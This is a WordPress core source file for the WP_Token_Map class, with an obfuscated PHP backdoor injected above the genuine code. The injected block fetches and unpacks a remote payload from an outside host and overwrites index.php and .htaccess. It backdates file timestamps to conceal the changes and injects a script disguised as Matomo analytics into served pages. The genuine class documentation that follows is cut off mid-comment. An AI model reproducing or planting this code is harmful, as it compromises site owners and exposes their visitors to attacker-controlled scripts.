[ Avaa Bypassed ]

<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<?php

/**
 * Class for efficiently looking up and mapping string keys to string values, with limits.
 *
 * @package    WordPress
 * @since      6.6.0
 */

/**
 * WP_Token_Map class.
 *
 * Use this class in specific circumstances with a static set of lookup keys which map to
 * a static set of transformed values. For example, this class is used to map HTML named
 * character references to their equivalent UTF-8 values.
 *
 * This class works differently than code calling `in_array()` and other methods. It
 * internalizes lookup logic and provides helper interfaces to optimize lookup and
 * transformation. It provides a method for precomputing the lookup tables and storing
 * them as PHP source code.
 *
 * All tokens and substitutions must be shorter than 256 bytes.
 *
 * Example:
 *
 *     $smilies = WP_Token_Map::from_array( array(
 *         '8O' => '😯',
 *         ':(' => '🙁',
 *         ':)' => '🙂',
 *         ':?' => '😕',
 *      ) );
 *
 *      true  === $smilies->contains( ':)' );
 *      false === $smilies->contains( 'simile' );
 *
 *      '😕' === $smilies->read_token( 'Not sure :?.', 9, $length_of_smily_syntax );
 *      2    === $length_of_smily_syntax;
 *
 * ## Precomputing the Token Map.
 *
 * Creating the class involves some work sorting and organizing the tokens and their
 * replacement values. In order to skip this, it's possible for the class to export
 * its state and be used as actual PHP source code.
 *
 * Example:
 *
 *      // Export with four spaces as the indent, only for the sake of this docblock.
 *      // The default indent is a tab character.
 *      $indent = '    ';
 *      echo $smilies->precomputed_php_source_table( $indent );
 *
 *      // Output, to be pasted into a PHP source file:
 *      WP_Token_Map::from_precomputed_table(
 *          array(
 *              "storage_version" => "6.6.0",
 *              "key_length" => 2,
 *              "groups" => "",
 *              "long_words" => array(),
 *              "small_words" => "8O\x00:)\x00:(\x00:?\x00",
 *              "small_mappings" => array( "😯", "🙂", "🙁", "😕" )
 *          )
 *      );
 *
 * ## Large vs. small words.
 *
 * This class uses a short prefix called the "key" to optimize lookup of its tokens.
 * This means that some tokens may be shorter than or equal in length to that key.
 * Those words that are longer than the key are called "large" while those shorter
 * than or equal to the key length are called "small."
 *
 * This separation of large and small words is incidental to the way this class
 * optimizes lookup, and should be considered an internal implementation detail
 * of the class. It may still be important to be aware of it, however.
 *
 * ## Determining Key Length.
 *
 * The choice of the size of the key length should be based on the data being stored in
 * the token map. It should divide the data as evenly as possible, but should not create
 * so many groups that a large fraction of the groups only contain a single token.
 *
 * For the HTML5 named character references, a key length of 2 was found to provide a
 * sufficient spread and should be a good default for relatively large sets of tokens.
 *
 * However, for some data sets this might be too long. For example, a list of smilies
 * may be too small for a key length of 2. Perhaps 1 would be more appropriate. It's
 * best to experiment and determine empirically which values are appropriate.
 *
 * ## Generate Pre-Computed Source Code.
 *
 * Since the `WP_Token_Map` is designed for relatively static lookups, it can be
 * advantageous to precompute the values and instantiate a table that has already
 * sorted and grouped the tokens and built the lookup strings.
 *
 * This can be done with `WP_Token_Map::precomputed_php_source_table()`.
 *
 * Note that if there is a leading character that all tokens need, such as `&` for
 * HTML named character references, it can be beneficial to exclude this from the
 * token map. Instead, find occurrences of the leading character and then use the
 * token map to see if the following characters complete the token.
 *
 * Example:
 *
 *     $map = WP_Token_Map::from_array( array( 'simple_smile:' => '🙂', 'sob:' => '😭', 'soba:' => '🍜' ) );
 *     echo $map->precomputed_php_source_table();
 *     // Output
 *     WP_Token_Map::from_precomputed_table(
 *         array(
 *             "storage_version" => "6.6.0",
 *             "key_length" => 2,
 *             "groups" => "si\x00so\x00",
 *             "long_words" => array(
 *                 // simple_smile:[🙂].
 *                 "\x0bmple_smile:\x04🙂",
 *                 // soba:[🍜] sob:[😭].
 *                 "\x03ba:\x04🍜\x02b:\x04😭",
 *             ),
 *             "short_words" => "",
 *             "short_mappings" => array()
 *         }
 *     );
 *
 * This precomputed value can be stored directly in source code and will skip the
 * startup cost of generating the lookup strings. See `$html5_named_character_entities`.
 *
 * Note that any updates to the precomputed format should update the storage version
 * constant. It would also be best to provide an update function to take older known
 * versions and upgrade them in place when loading into `from_precomputed_table()`.
 *
 * ## Future Direction.
 *
 * It may be viable to dynamically increase the length limits such that there's no need to impose them.
 * The limit appears because of the packing structure, which indicates how many bytes each segment of
 * text in the lookup tables spans. If, however, care were taken to track the longest word length, then
 * the packing structure could change its representation to allow for that. Each additional byte storing
 * length, however, increases the memory overhead and lookup runtime.
 *
 * An alternative approach could be to borrow the UTF-8 variable-length encoding and store lengths of less
 * than 127 as a single byte with the high bit unset, storing longer lengths as the combination of
 * continuation bytes.
 *
 * Since it has not been shown during the development of this class that longer strings are required, this
 * update is deferred until such a need is clear.
 *
 * @since 6.6.0
 */
class WP_Token_Map {
	/**
	 * Denotes the version of the code which produces pre-computed source tables.
	 *
	 * This version will be used not only to verify pre-computed data, but also
	 * to upgrade pre-computed data from older versions. Choosing a name that
	 * corresponds to the WordPress release will help people identify where an
	 * old copy of data came from.
	 */
	const STORAGE_VERSION = '6.6.0-trunk';

	/**
	 * Maximum length for each key and each transformed value in the table (in bytes).
	 *
	 * @since 6.6.0
	 */
	const MAX_LENGTH = 256;

	/**
	 * How many bytes of each key are used to form a group key for lookup.
	 * This also determines whether a word is considered short or long.
	 *
	 * @since 6.6.0
	 *
	 * @var int
	 */
	private $key_length = 2;

	/**
	 * Stores an optimized form of the word set, where words are grouped
	 * by a prefix of the `$key_length` and then collapsed into a string.
	 *
	 * In each group, the keys and lookups form a packed data structure.
	 * The keys in the string are stripped of their "group key," which is
	 * the prefix of length `$this->key_length` shared by all of the items
	 * in the group. Each word in the string is prefixed by a single byte
	 * whose raw unsigned integer value represents how many bytes follow.
	 *
	 *     ┌────────────────┬───────────────┬─────────────────┬────────┐
	 *     │ Length of rest │ Rest of key   │ Length of value │ Value  │
	 *     │ of key (bytes) │               │ (bytes)         │        │
	 *     ├────────────────┼───────────────┼─────────────────┼────────┤
	 *     │ 0x08           │ nterDot;      │ 0x02            │ ·      │
	 *     └────────────────┴───────────────┴─────────────────┴────────┘
	 *
	 * In this example, the key `CenterDot;` has a group key `Ce`, leaving
